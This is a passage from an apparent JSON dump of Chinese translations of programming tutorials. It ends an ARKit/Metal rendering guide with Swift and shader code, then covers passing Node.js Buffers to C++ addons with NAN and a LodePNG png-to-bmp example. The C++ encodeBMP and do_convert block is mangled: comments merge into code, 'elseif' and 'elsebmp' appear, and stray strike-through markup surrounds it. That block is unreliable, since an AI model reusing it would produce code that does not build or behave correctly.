Float(lightEstimate.ambientIntensity) / 1000.0\n    }\n    let ambientLightColor: vector_float3 = vector3(0.5, 0.5, 0.5)\n    uniforms.pointee.ambientLightColor = ambientLightColor * ambientIntensity\n    var directionalLightDirection : vector_float3 = vector3(0.0, 0.0, -1.0)\n    directionalLightDirection = simd_normalize(directionalLightDirection)\n    uniforms.pointee.directionalLightDirection = directionalLightDirection\n    let directionalLightColor: vector_float3 = vector3(0.6, 0.6, 0.6)\n    uniforms.pointee.directionalLightColor = directionalLightColor * ambientIntensity\n    uniforms.pointee.materialShininess = 30\n}\n```\n\n在 **updateAnchors()** 方法中，我们用当前 frame 的锚点的变换来更新锚定元素缓冲区：\n\n```\nfunc updateAnchors(frame: ARFrame) {\n    anchorInstanceCount = min(frame.anchors.count, maxAnchorInstanceCount)\n    var anchorOffset: Int = 0\n    if anchorInstanceCount == maxAnchorInstanceCount {\n        anchorOffset = max(frame.anchors.count - maxAnchorInstanceCount, 0)\n    }\n    for index in 0..<anchorInstanceCount {\n        let anchor = frame.anchors[index + anchorOffset]\n        var coordinateSpaceTransform = matrix_identity_float4x4\n        coordinateSpaceTransform.columns.2.z = -1.0\n        let modelMatrix = simd_mul(anchor.transform, coordinateSpaceTransform)\n        let anchorUniforms = anchorUniformBufferAddress.assumingMemoryBound(to: InstanceUniforms.self).advanced(by: index)\n        anchorUniforms.pointee.modelMatrix = modelMatrix\n    }\n}\n```\n\n在 **updateCapturedImageTextures()** 方法中，我们从提供的帧捕获的图像中创建两个纹理：\n\n```\nfunc updateCapturedImageTextures(frame: ARFrame) {\n    let pixelBuffer = frame.capturedImage\n    if (CVPixelBufferGetPlaneCount(pixelBuffer) < 2) { return }\n    capturedImageTextureY = createTexture(fromPixelBuffer: pixelBuffer, pixelFormat:.r8Unorm, planeIndex:0)!\n    capturedImageTextureCbCr = createTexture(fromPixelBuffer: pixelBuffer, pixelFormat:.rg8Unorm, planeIndex:1)!\n}\n```\n\n在 **updateImagePlane()** 方法中，我们更新图像屏幕的纹理坐标，让它能够保持比例并填满整个视图：\n\n```\nfunc updateImagePlane(frame: ARFrame) {\n    let displayToCameraTransform = frame.displayTransform(withViewportSize: viewportSize, orientation: .landscapeRight).inverted()\n    let vertexData = imagePlaneVertexBuffer.contents().assumingMemoryBound(to: Float.self)\n    for index in 0...3 {\n        let textureCoordIndex = 4 * index + 2\n        let textureCoord = CGPoint(x: CGFloat(planeVertexData[textureCoordIndex]), y: CGFloat(planeVertexData[textureCoordIndex + 1]))\n        let transformedCoord = textureCoord.applying(displayToCameraTransform)\n        vertexData[textureCoordIndex] = Float(transformedCoord.x)\n        vertexData[textureCoordIndex + 1] = Float(transformedCoord.y)\n    }\n}\n```\n\n在 **drawCapturedImage()** 方法中，我们在场景中绘制摄像头：\n\n```\nfunc drawCapturedImage(renderEncoder: MTLRenderCommandEncoder) {\n    guard capturedImageTextureY != nil && capturedImageTextureCbCr != nil else { return }\n    renderEncoder.pushDebugGroup(\"DrawCapturedImage\")\n    renderEncoder.setCullMode(.none)\n    renderEncoder.setRenderPipelineState(capturedImagePipelineState)\n    renderEncoder.setDepthStencilState(capturedImageDepthState)\n    renderEncoder.setVertexBuffer(imagePlaneVertexBuffer, offset: 0, index: 0)\n    renderEncoder.setFragmentTexture(capturedImageTextureY, index: 1)\n    renderEncoder.setFragmentTexture(capturedImageTextureCbCr, index: 2)\n    renderEncoder.drawPrimitives(type: .triangleStrip, vertexStart: 0, vertexCount: 4)\n    renderEncoder.popDebugGroup()\n}\n```\n\n最后，在 **drawAnchorGeometry()** 中为我们创建的虚拟内容绘制锚点：\n\n```\nfunc drawAnchorGeometry(renderEncoder: MTLRenderCommandEncoder) {\n    guard anchorInstanceCount > 0 else { return }\n    renderEncoder.pushDebugGroup(\"DrawAnchors\")\n    renderEncoder.setCullMode(.back)\n    renderEncoder.setRenderPipelineState(anchorPipelineState)\n    renderEncoder.setDepthStencilState(anchorDepthState)\n    renderEncoder.setVertexBuffer(anchorUniformBuffer, offset: anchorUniformBufferOffset, index: 2)\n    renderEncoder.setVertexBuffer(sharedUniformBuffer, offset: sharedUniformBufferOffset, index: 3)\n    renderEncoder.setFragmentBuffer(sharedUniformBuffer, offset: sharedUniformBufferOffset, index: 3)\n    for bufferIndex in 0..<mesh.vertexBuffers.count {\n        let vertexBuffer = mesh.vertexBuffers[bufferIndex]\n        renderEncoder.setVertexBuffer(vertexBuffer.buffer, offset: vertexBuffer.offset, index:bufferIndex)\n    }\n    for submesh in mesh.submeshes {\n        renderEncoder.drawIndexedPrimitives(type: submesh.primitiveType, indexCount: submesh.indexCount, indexType: submesh.indexType, indexBuffer: submesh.indexBuffer.buffer, indexBufferOffset: submesh.indexBuffer.offset, instanceCount: anchorInstanceCount)\n    }\n    renderEncoder.popDebugGroup()\n}\n```\n\n回到我们前面简要提到的 **setupPipeline()** 方法。我们创建两个渲染管道状态的对象，一个用于捕获的图像(摄像头) ，另一个用于在场景中放置虚拟对象时创建的锚点。正如预期的那样，每个状态对象都有自己的一对顶点和片段函数 - 它把我们带到我们需要查看的最后一个文件 -  **Shaders.metal** 文件。在第一对被捕获图像的着色部分，在顶点着色器中，我们传入图像的顶点位置和纹理坐标参数：\n\n```\nvertex ImageColorInOut capturedImageVertexTransform(ImageVertex in [[stage_in]]) {\n    ImageColorInOut out;\n    out.position = float4(in.position, 0.0, 1.0);\n    out.texCoord = in.texCoord;\n    return out;\n}\n```\n\n在片段着色器中，我们对两个纹理进行采样，得到给定纹理坐标下的颜色，然后返回转换后的 `RGB` 颜色：\n\n```\nfragment float4 capturedImageFragmentShader(ImageColorInOut in [[stage_in]],\n                                            texture2d<float, access::sample> textureY [[ texture(1) ]],\n                                            texture2d<float, access::sample> textureCbCr [[ texture(2) ]]) {\n    constexpr sampler colorSampler(mip_filter::linear, mag_filter::linear, min_filter::linear);\n    const float4x4 ycbcrToRGBTransform = float4x4(float4(+1.0000f, +1.0000f, +1.0000f, +0.0000f),\n                                                  float4(+0.0000f, -0.3441f, +1.7720f, +0.0000f),\n                                                  float4(+1.4020f, -0.7141f, +0.0000f, +0.0000f),\n                                                  float4(-0.7010f, +0.5291f, -0.8860f, +1.0000f));\n    float4 ycbcr = float4(textureY.sample(colorSampler, in.texCoord).r, textureCbCr.sample(colorSampler, in.texCoord).rg, 1.0);\n    return ycbcrToRGBTransform * ycbcr;\n}\n```\n\n对于第二个几何锚点的着色器，在顶点着色器中，我们计算我们顶点在剪辑空间中的位置，并输出剪裁和光栅化，然后为每个面着色不同的颜色，然后计算观察坐标空间中顶点的位置，最后将我们的坐标系转换到世界坐标系：\n\n\n```\nvertex ColorInOut anchorGeometryVertexTransform(Vertex in [[stage_in]],\n                                                constant SharedUniforms &sharedUniforms [[ buffer(3) ]],\n                                                constant InstanceUniforms *instanceUniforms [[ buffer(2) ]],\n                                                ushort vid [[vertex_id]],\n                                                ushort iid [[instance_id]]) {\n    ColorInOut out;\n    float4 position = float4(in.position, 1.0);\n    float4x4 modelMatrix = instanceUniforms[iid].modelMatrix;\n    float4x4 modelViewMatrix = sharedUniforms.viewMatrix * modelMatrix;\n    out.position = sharedUniforms.projectionMatrix * modelViewMatrix * position;\n    ushort colorID = vid / 4 % 6;\n    out.color = colorID == 0 ? float4(0.0, 1.0, 0.0, 1.0)  // Right face\n              : colorID == 1 ? float4(1.0, 0.0, 0.0, 1.0)  // Left face\n              : colorID == 2 ? float4(0.0, 0.0, 1.0, 1.0)  // Top face\n              : colorID == 3 ? float4(1.0, 0.5, 0.0, 1.0)  // Bottom face\n              : colorID == 4 ? float4(1.0, 1.0, 0.0, 1.0)  // Back face\n              :                float4(1.0, 1.0, 1.0, 1.0); // Front face\n    out.eyePosition = half3((modelViewMatrix * position).xyz);\n    float4 normal = modelMatrix * float4(in.normal.x, in.normal.y, in.normal.z, 0.0f);\n    out.normal = normalize(half3(normal.xyz));\n    return out;\n}\n```\n\n在片段着色器中，我们计算定向光的贡献作为漫反射和镜面反射项的总和，然后我们通过将颜色映射的采样乘以片段的光照值来计算最终的颜色，最后我们用刚刚计算出来的颜色和颜色映射的 alpha 通道的值作为该片段的 alpha 的值：\n\n```\nfragment float4 anchorGeometryFragmentLighting(ColorInOut in [[stage_in]],\n                                               constant SharedUniforms &uniforms [[ buffer(3) ]]) {\n    float3 normal = float3(in.normal);\n    float3 directionalContribution = float3(0);\n    {\n        float nDotL = saturate(dot(normal, -uniforms.directionalLightDirection));\n        float3 diffuseTerm = uniforms.directionalLightColor * nDotL;\n        float3 halfwayVector = normalize(-uniforms.directionalLightDirection - float3(in.eyePosition));\n        float reflectionAngle = saturate(dot(normal, halfwayVector));\n        float specularIntensity = saturate(powr(reflectionAngle, uniforms.materialShininess));\n        float3 specularTerm = uniforms.directionalLightColor * specularIntensity;\n        directionalContribution = diffuseTerm + specularTerm;\n    }\n    float3 ambientContribution = uniforms.ambientLightColor;\n    float3 lightContributions = ambientContribution + directionalContribution;\n    float3 color = in.color.rgb * lightContributions;\n    return float4(color, in.color.w);\n}\n```\n\n如果你运行这个程序，你就可以点击屏幕并在实时摄像头视图中添加立方体，然后移动或靠近这些立方体观察每个面的不同颜色，就像这样：\n\n![alt text](https://github.com/MetalKit/images/blob/master/ARKit1.gif?raw=true \"ARKit 1\")\n\n在本系列的下一部分，我们将会更深入的研究 `追踪层` 和 `场景解析层` 并了解并了解平面检测，撞击测试，碰撞和物理效果如何使我们的体验更加丰富。 [源代码](https://github.com/MetalKit/metal) 已经发布到 `GitHub`。\n\n下次见！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/using-buffers-node-js-c-plus-plus.md",
    "content": "> * 原文地址：[Using Buffers to share data between Node.js and C++](https://community.risingstack.com/using-buffers-node-js-c-plus-plus/)\n* 原文作者：[Scott Frees](https://scottfrees.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jiang Haichao](https://github.com/AceLeeWinnie)\n* 校对者：[熊贤仁](https://github.com/FrankXiong), [Lei Guo](https://github.com/futureshine)\n\n# 在 Node.js 和 C++ 之间使用 Buffer 共享数据\n\n使用 Node.js 开发的一个好处是简直能够在 JavaScript 和 原生 C++ 代码之间无缝切换 - 这要得益于 V8 的扩展 API。从 JavaScript 进入 C++ 的能力有时由处理速度驱动，但更多的情况是我们已经有 C++ 代码，而我们想要直接用 JavaScript 调用。\n\n我们可以用（至少）两轴对不同用例的扩展进行分类 - （1）C++ 代码的运行时间，（2）C++ 和 JavaScript 之间数据流量。\n\n![CPU vs. 数据象限](https://scottfrees.com/quadrant.png)\n\n大多数文档讨论的 Node.js 的 C++ 扩展关注于左右象限的不同。如果你在左象限（短处理时间），你的扩展有可能是同步的 - 意思是当调用时 C++ 代码在 Node.js 的事件循环中直接运行。\n\n[\"#nodejs 允许我们在#javascript 和原生 C++ 代码之间无缝切换\" via @RisingStack](https://twitter.com/share?text=%22%23nodejs%20allows%20us%20to%20move%20fairly%20seamlessly%20between%20%23javascript%20and%20native%20C%2B%2B%20code%22%20via%20%40RisingStack;url=https://community.risingstack.com/using-buffers-node-js-c-plus-plus/)\n\n在这个场景中，扩展函数阻塞并等待返回值，意味着其他操作不能同时进行。在右侧象限中，几乎可以确定要用异步模式来设计附加组件。在一个异步扩展函数中，JavaScript 调用函数立即返回。调用代码向扩展函数传入一个回调，扩展函数工作于一个独立工作线程中。由于扩展函数没有阻塞，则避免了 Node.js 事件循环的死锁。\n\n顶部和底部象限的不同时常容易被忽视，但是他们也同样重要。\n\n# V8 vs. C++ 内存和数据\n\n如果你不了解如何写一个原生附件，那么你首先要掌握的是属于 V8 的数据（**可以** 通过 C++ 附件获取的）和普通 C++ 内存分配的区别。 \n\n当我们提到 “属于 V8 的”，指的是持有 JavaScript 数据的存储单元。\n\n这些存储单元是可通过 V8 的 C++ API 访问的，但它们不是普通的 C++ 变量，因为他们只能够通过受限的方式访问。当你的扩展 **可以** 限制为只使用 V8 数据，它就更有可能同样会在普通 C++ 代码中创建自身的变量。这些变量可以是栈或堆变量，且完全独立于 V8。\n\n在 JavaScript 中，基本类型（数字，字符串，布尔值等）是 **不可变的**，一个 C++ 扩展不能够改变与基本类型相连的存储单元。这些基本类型的 JavaScript 变量可以被重新分配到 C++ 创建的 **新存储单元** 中 - 但是这意味着改变数据将会导致 **新** 内存的分配。\n\n在上层象限（少量数据传递），这没什么大不了。如果你正在设计一个无需频繁数据交换的附加组件，那么所有新内存分配的开销可能没有那么大。当扩展更靠近下层象限时，分配/拷贝的开销会开始令人震惊。\n\n一方面，这会增大最高的内存使用量，另一方面，也会 **损耗性能**。\n\n在 JavaScript(V8 存储单元) 和 C++（返回）之间复制所有数据花费的时间通常会牺牲首先运行 C++ 赚来的性能红利！对于在左下象限（低处理，高数据利用场景）的扩展应用，数据拷贝的延迟会把你的扩展引用往右侧象限引导 - 迫使你考虑异步设计。\n\n# V8 内存与异步附件\n\n在异步扩展中，我们在一个工作线程中执行大块的 C++ 处理代码。如果你对异步回调并不熟悉，看看这些教程（[这里](http://blog.scottfrees.com/building-an-asynchronous-c-addon-for-node-js-using-nan) 和 [这里](http://blog.scottfrees.com/c-processing-from-node-js-part-4-asynchronous-addons)）。\n\n异步扩展的中心思想是 **你不能在事件循环线程外访问 V8 （JavaScript）内存**。这导致了新的问题。大量数据必须在工作线程启动前 **从事件循环中** 复制到 V8 内存之外，即扩展的原生地址空间中去。同样地，工作线程产生或修改的任何数据都必须通过执行事件循环（回调）中的代码拷贝回 V8 引擎。如果你致力于创建高吞吐量的 Node.js 应用，你应该避免花费过多的时间在事件循环的数据拷贝上。\n\n![为 C++ 工作线程创建输入输出拷贝](https://raw.githubusercontent.com/freezer333/node-v8-workers/master/imgs/copying.gif)\n\n理想情况下，我们更倾向于这么做：\n\n![从 C++ 工作线程中直接访问 V8 数据](https://raw.githubusercontent.com/freezer333/node-v8-workers/master/imgs/inplace.gif)\n\n# Node.js Buffer 来救命\n\n这里有两个相关的问题。\n\n1. 当使用同步扩展时，除非我们不改变/产生数据，那么可能会需要花费大量时间在 V8 存储单元和老的简单 C++ 变量之间移动数据 - 十分费时。\n2. 当使用异步扩展时，理想情况下我们应该尽可能减少事件轮询的时间。这就是问题所在 - 由于 V8 的多线程限制，我们 **必须** 在事件轮询线程中进行数据拷贝。\n\nNode.js 里有一个经常会被忽视的特性可以帮助我们进行扩展开发 - `Buffer`。[Nodes.js 官方文档](https://nodejs.org/api/buffer.html) 在此。\n\n> Buffer 类的实例与整型数组类似，但对应的是 V8 堆外大小固定，原始内存分配空间。\n\n这不就是我们一直想要的吗 - Buffer 里的数据 **并不存储在 V8 存储单元内**，不受限于 V8 的多线程规则。这意味着可以通过异步扩展启动的 C++ 工作线程与 Buffer 进行交互。\n\n## Buffer 是如何工作的\n\nBuffer 存储原始的二进制数据，可以通过 Node.js 的读文件和其他 I/O 设备 API 访问。\n\n借助 Node.js 文档里的一些例子，可以初始化指定大小的 buffer，指定预设值的 buffer，由字节数组创建的 buffer 和 由字符串创建的 buffer。\n\n\n    // 10 个字节的 buffer：const buf1 = Buffer.alloc(10);\n\n    // 10 字节并初始化为 1 的 buffer：const buf2 = Buffer.alloc(10, 1);\n\n    //包含 [0x1, 0x2, 0x3] 的 buffer：const buf3 = Buffer.from([1, 2, 3]);\n\n    // 包含 ASCII 字节 [0x74, 0x65, 0x73, 0x74] 的 buffer：const buf4 = Buffer.from('test');\n\n    // 从文件中读取 buffer：const buf5 = fs.readFileSync(\"some file\");\n\nBuffer 能够传回传统 JavaScript 数据（字符串）或者写回文件，数据库，或者其他 I/O 设备中。\n\n## C++ 中如何访问 Buffer\n\n构建 Node.js 的扩展时，最好是通过使用 NAN（Node.js 原生抽象）API 启动，而不是直接用 V8 API 启动 - 后者可能是一个移动目标。网上有许多用 NAN 扩展启动的教程 - 包括 NAN 代码库自己的 [例子](https://github.com/nodejs/nan#example)。我也写过很多 [教程](http://blog.scottfrees.com/building-an-asynchronous-c-addon-for-node-js-using-nan)，在我的 [电子书](https://scottfrees.com/ebooks/nodecpp/) 里藏得比较深。\n\n首先，来看看扩展程序如何访问 JavaScript 发送给它的 Buffer。我们会启动一个简单的 JS 程序并引入稍后创建的扩展。\n\n```javascript\n    'use strict';  \n\n    // 先引入稍后创建的扩展 \n    const addon = require('./build/Release/buffer_example');\n\n    // 在 V8 之外分配内存，预设值为 ASCII 码的 \"ABC\"\n    const buffer = Buffer.from(\"ABC\");\n\n    // 同步，每个字符旋转 +13\n    addon.rotate(buffer, buffer.length, 13);\n\n    console.log(buffer.toString('ascii'));\n```\n\n\"ABC\" 进行 ASCII 旋转 13 后，期望输出是 \"NOP\"。来看看扩展！它由三个文件（方便起见，都在同一目录下）组成。\n\n```\n// binding.gyp\n{\n  \"targets\": [\n    {\n        \"target_name\": \"buffer_example\",\n        \"sources\": [ \"buffer_example.cpp\" ],\n        \"include_dirs\" : [\"<!(node -e \\\"require('nan')\\\")\"]\n    }\n  ]\n}\n\n```\n\n```json\n//package.json\n{\n  \"name\": \"buffer_example\",\n  \"version\": \"0.0.1\",\n  \"private\": true,\n  \"gypfile\": true,\n  \"scripts\": {\n    \"start\": \"node index.js\"\n  },\n  \"dependencies\": {\n      \"nan\": \"*\"\n  }\n}\n```\n\n```\n// buffer_example.cpp\n#include <nan.h>\nusing namespace Nan;  \nusing namespace v8;\n\nNAN_METHOD(rotate) {  \n    char* buffer = (char*) node::Buffer::Data(info[0]->ToObject());\n    unsigned int size = info[1]->Uint32Value();\n    unsigned int rot = info[2]->Uint32Value();\n\n    for(unsigned int i = 0; i < size; i++ ) {\n        buffer[i] += rot;\n    }   \n}\n\nNAN_MODULE_INIT(Init) {  \n   Nan::Set(target, New<String>(\"rotate\").ToLocalChecked(),\n        GetFunction(New<FunctionTemplate>(rotate)).ToLocalChecked());\n}\n\nNODE_MODULE(buffer_example, Init)\n```\n\n\n最有趣的文件就是 `buffer_example.cpp`。注意我们用了 `node:Buffer` 的 `Data` 方法来把传入扩展的第一个参数转换为字符数组。现在我们能用任何觉得合适的方式来操作数组了。在本例中，我们仅仅执行了文本的 ASCII 码旋转。要注意这没有返回值，Buffer 的关联内存已经被修改了。\n\n通过 `npm install` 构建扩展。`package.json` 会告知 npm 下载 NAN 并使用 `binding.gyp` 文件构建扩展。运行 index.js 会返回期望的 \"NOP\" 输出。\n\n我们还可以在扩展里创建 **新** buffer。修改 rotate 函数增加输入，并返回减小相应数值后生成的字符串 buffer。\n\n```\nNAN_METHOD(rotate) {  \n    char* buffer = (char*) node::Buffer::Data(info[0]->ToObject());\n    unsigned int size = info[1]->Uint32Value();\n    unsigned int rot = info[2]->Uint32Value();\n\n    char * retval = new char[size];\n    for(unsigned int i = 0; i < size; i++ ) {\n        retval[i] = buffer[i] - rot;\n        buffer[i] += rot;\n    }   \n\n   info.GetReturnValue().Set(Nan::NewBuffer(retval, size).ToLocalChecked());\n}\n```    \n\n```javascript\nvar result = addon.rotate(buffer, buffer.length, 13);\n\nconsole.log(buffer.toString('ascii'));  \nconsole.log(result.toString('ascii'));\n```\n\n\n现在结果 buffer 是 '456'。注意 NAN 的 `NewBuffer` 方法的使用，它包装了 Node buffer 里 `retval` 数据的动态分配。这么做会 **转让这块内存的使用权** 给 Node.js，所以当 buffer 越过 JavaScript 作用域时 `retval` 的关联内存将会（通过调用 `free`）重新声明。稍后会有更多关于这一点的解释 - 毕竟我们不希望总是重新声明。\n\n你可以在 [这里](https://github.com/nodejs/nan/blob/master/doc/buffers.md) 找到 NAN 如何处理 buffer 的更多信息。\n\n# 🌰 ：PNG 和 BMP 图片处理\n\n上面的例子非常基础，没什么兴奋点。来看个更具有实操性的例子 - C++ 图片处理。如果你想要拿到上例和本例的全部源码，请到我的 GitHub 仓库 [https://github.com/freezer333/nodecpp-demo](https://github.com/freezer333/nodecpp-demo)，代码在 'buffers' 目录下。\n\n图片处理用 C++ 扩展处理再合适不过，因为它耗时，CPU 密集，许多处理方法并行，而这些正是 C++ 所擅长的。本例中我们会简单地将图片由 png 格式转换为 bmp 格式。\n\n> png 转换 bmp **不是** 特别耗时，使用扩展可能有点大材小用了，但能很好的实现示范目的。如果你在找纯 JavaScript 进行图片处理（包括不止 png 转 bmp）的实现方式，可以看看 JIMP，[https://www.npmjs.com/package/jimp](https://www.npmjs.com/package/jimp)[https://www.npmjs.com/package/jimp](https://www.npmjs.com/package/jimp)。\n\n有许多开源 C++ 库可以帮我们做这件事。我要使用的是 LodePNG，因为它没有依赖，使用方便。LodePNG 在 [http://lodev.org/lodepng/](http://lodev.org/lodepng/)，它的源码在 [https://github.com/lvandeve/lodepng](https://github.com/lvandeve/lodepng)。多谢开发者 Lode Vandevenne 提供了这么好用的库!\n\n## 设置扩展\n\n我们要创建以下目录结构，包括从 [https://github.com/lvandeve/lodepng](https://github.com/lvandeve/lodepng) 下载的源码，也就是 `lodepng.h` 和 `lodepng.cpp`。\n\n```\n    /png2bmp\n     |\n     |--- binding.gyp\n     |--- package.json\n     |--- png2bmp.cpp  # the add-on\n     |--- index.js     # program to test the add-on\n     |--- sample.png   # input (will be converted to bmp)\n     |--- lodepng.h    # from lodepng distribution\n     |--- lodepng.cpp  # From loadpng distribution\n```\n\n`lodepng.cpp` 包含所有进行图片处理必要的代码，我不会就其工作细节进行讨论。另外，lodepng 包囊括了允许你指定在 pnp 和 bmp 之间进行转换的简单代码。我对它进行了一些小改动并放入扩展源文件 `png2bmp.cpp` 中，马上我们就会看到。\n\n在深入扩展之前来看看 JavaScript 程序：\n\n```javascript\n    'use strict';  \n    const fs = require('fs');  \n    const path = require('path');  \n    const png2bmp = require('./build/Release/png2bmp');\n\n    const png_file = process.argv[2];  \n    const bmp_file = path.basename(png_file, '.png') + \".bmp\";  \n    const png_buffer = fs.readFileSync(png_file);\n\n    const bmp_buffer = png2bmp.getBMP(png_buffer, png_buffer.length);  \n    fs.writeFileSync(bmp_file, bmp_buffer);\n```\n\n这个程序把 png 图片的文件名作为命令行参数传入。调用了 `getBMP` 扩展函数，该函数接受包含 png 文件的 buffer 和它的长度。此扩展是 **同步** 的，在稍后我们也会看到异步版本。\n\n这是 `package.json` 文件，设置了 `npm start` 命令来调用 `index.js` 程序并传入 `sample.png` 命令行参数。这是一张普通的图片。\n\n```json\n    {\n      \"name\": \"png2bmp\",\n      \"version\": \"0.0.1\",\n      \"private\": true,\n      \"gypfile\": true,\n      \"scripts\": {\n        \"start\": \"node index.js sample.png\"\n      },\n      \"dependencies\": {\n          \"nan\": \"*\"\n      }\n    }\n```\n\n![](https://scottfrees.com/sample.png)\n\n这是 `binding.gyp` 文件 - 在标准文件的基础上设置了一些编译器标识用于编译 lodepng。还包括了 NAN 必要的引用。\n\n    {\n      \"targets\": [\n        {\n          \"target_name\": \"png2bmp\",\n          \"sources\": [ \"png2bmp.cpp\", \"lodepng.cpp\" ],\n          \"cflags\": [\"-Wall\", \"-Wextra\", \"-pedantic\", \"-ansi\", \"-O3\"],\n          \"include_dirs\" : [\"<!(node -e \\\"require('nan')\\\")\"]\n        }\n      ]\n    }\n\n\n`png2bmp.cpp` 主要包括了 V8/NAN 代码。不过，它也有一个图片处理通用函数 - `do_convert`，从 lodepng 的 png 转 bmp 例子里采纳过来的。\n\n`encodeBMP` 函数接受 `vector<unsigned char>` 参数用于输入数据（png 格式）和 `vector<unsigned char>` 参数来存放输出数据（bmp 格式，直接参照 lodepng 的例子。\n\n这是这两个函数的全部代码。细节对于理解扩展的 `Buffer` 对象不重要，包含进来是为了程序完整性。扩展程序入口会调用 `do_convert`。\n\n```\n    ~~~~~~~~<del>{#binding-hello .cpp}\n    /*\n    ALL LodePNG code in this file is adapted from lodepng's  \n    examples, found at the following URL:  \n    https://github.com/lvandeve/lodepng/blob/  \n    master/examples/example_bmp2png.cpp'  \n    */void encodeBMP(std::vector<unsigned char>& bmp,  \n      const unsigned char* image, int w, int h)\n    {\n      //3bytes per pixel used for both input and output.\n      int inputChannels = 3;\n      int outputChannels = 3;\n\n      //bytes 0-13bmp.push_back('B'); bmp.push_back('M'); //0: bfType\n    bmp.push_back(0); bmp.push_back(0); bmp.push_back(0); bmp.push_back(0); bmp.push_back(0); bmp.push_back(0); //6: bfReserved1\n    bmp.push_back(0); bmp.push_back(0); //8: bfReserved2\n    bmp.push_back(54 % 256); bmp.push_back(54 / 256); bmp.push_back(0); bmp.push_back(0);\n\n      //bytes 14-53bmp.push_back(40); bmp.push_back(0); bmp.push_back(0); bmp.push_back(0);  //14: biSize\n    bmp.push_back(w % 256); bmp.push_back(w / 256); bmp.push_back(0); bmp.push_back(0); //18: biWidth\n    bmp.push_back(h % 256); bmp.push_back(h / 256); bmp.push_back(0); bmp.push_back(0); //22: biHeight\n    bmp.push_back(1); bmp.push_back(0); //26: biPlanes\n    bmp.push_back(outputChannels * 8); bmp.push_back(0); //28: biBitCount\n    bmp.push_back(0); bmp.push_back(0); bmp.push_back(0); bmp.push_back(0);  //30: biCompression\n    bmp.push_back(0); bmp.push_back(0); bmp.push_back(0); bmp.push_back(0);  //34: biSizeImage\n    bmp.push_back(0); bmp.push_back(0); bmp.push_back(0); bmp.push_back(0);  //38: biXPelsPerMeter\n    bmp.push_back(0); bmp.push_back(0); bmp.push_back(0); bmp.push_back(0);  //42: biYPelsPerMeter\n    bmp.push_back(0); bmp.push_back(0); bmp.push_back(0); bmp.push_back(0);  //46: biClrUsed\n    bmp.push_back(0); bmp.push_back(0); bmp.push_back(0); bmp.push_back(0);  //50: biClrImportant\n\n      int imagerowbytes = outputChannels * w;\n      //must be multiple of 4\n      imagerowbytes = imagerowbytes % 4 == 0 ? imagerowbytes :\n                imagerowbytes + (4 - imagerowbytes % 4);\n\n      for(int y = h - 1; y >= 0; y--)\n      {\n        int c = 0;\n        for(int x = 0; x < imagerowbytes; x++)\n        {\n          if(x < w * outputChannels)\n          {\n            int inc = c;\n            //Convert RGB(A) into BGR(A)\n    if(c == 0) inc = 2;elseif(c == 2) inc = 0;bmp.push_back(image[inputChannels\n                * (w * y + x / outputChannels) + inc]);\n          }\n          elsebmp.push_back(0);\n          c++;if(c >= outputChannels) c = 0;\n        }\n      }\n\n      // Fill in the size\n      bmp[2] = bmp.size() % 256;bmp[3] = (bmp.size() / 256) % 256;bmp[4] = (bmp.size() / 65536) % 256;bmp[5] = bmp.size() / 16777216;\n    }\n\n    bool do_convert(  \n      std::vector<unsigned char> & input_data,\n      std::vector<unsigned char> & bmp)\n    {\n      std::vector<unsigned char> image; //the raw pixels\n      unsigned width, height;\n      unsigned error = lodepng::decode(image, width,\n        height, input_data, LCT_RGB, 8);if(error) {\n        std::cout << \"error \" << error << \": \"\n                  << lodepng_error_text(error)\n                  << std::endl;\n        return false;\n      }\n      encodeBMP(bmp, &image[0], width, height);\n      return true;\n    }\n    </del>~~~~~~~~\n```\n\nSorry... 代码太长了，但对于理解运行机制很重要！把这些代码在 JavaScript 里运行一把看看。\n\n## 同步 Buffer 处理\n\n当我们在 JavaScript 里，png 图片数据会被真实读取，所以会作为 Node.js 的 `Buffer` 传入。我们用 NAN 访问 buffer 自身。这里是同步版本的完整代码：\n\n```\n    NAN_METHOD(GetBMP) {  \n        unsigned char*buffer = (unsigned char*) node::Buffer::Data(info[0]->ToObject());  \n        unsigned int size = info[1]->Uint32Value();\n\n        std::vector<unsigned char> png_data(buffer, buffer + size);\n        std::vector<unsigned char> bmp;\n\n        if ( do_convert(png_data, bmp)) {\n            info.GetReturnValue().Set(\n                NewBuffer((char *)bmp.data(), bmp.size()/*, buffer_delete_callback, bmp*/).ToLocalChecked());\n        }\n    }  \n\n    NAN_MODULE_INIT(Init) {  \n       Nan::Set(target, New<String>(\"getBMP\").ToLocalChecked(),\n            GetFunction(New<FunctionTemplate>(GetBMP)).ToLocalChecked());\n    }\n\n    NODE_MODULE(png2bmp, Init)\n```\n\n在 `GetBMP` 函数里，我们用熟悉的 `Data` 方法打开 buffer，所以我们能够像普通字符数组一样处理它。接着，基于输入构建一个 `vector`，才能够传入上面列出的 `do_convert` 函数。一旦 `bmp` 向量被 `do_convert` 函数填满，我们会把它包装进 `Buffer` 里并返回 JavaScript。\n\n这里有个问题：返回的 buffer 里的数据在 JavaScript 使用之前可能会被删除。为啥？因为当 `GetBMP` 函数返回时，`bmp` 向量要传出作用域。C++ 向量语义当向量传出作用域时，向量析构函数会删除向量里所有的数据 - 在本例中，bmp 数据也会被删掉！这是个大问题，因为回传到 JavaScript 的 `Buffer` 里的数据会被删掉。这最后会使程序崩溃。\n\n幸运的是，`NewBuffer` 的第三和第四个可选参数可控制这种情况。\n\n第三个参数是当 `Buffer` 被 V8 垃圾回收结束时调用的回调函数。记住，`Buffer` 是 JavaScript 对象，数据存储在 V8 之外，但是对象本身受到 V8 的控制。\n\n从这个角度来看，就能解释为什么回调有用。当 V8 销毁 buffer 时，我们需要一些方法来释放创建的数据 - 这些数据可以通过第一个参数传入回调函数中。回调的信号由 NAN 定义 - 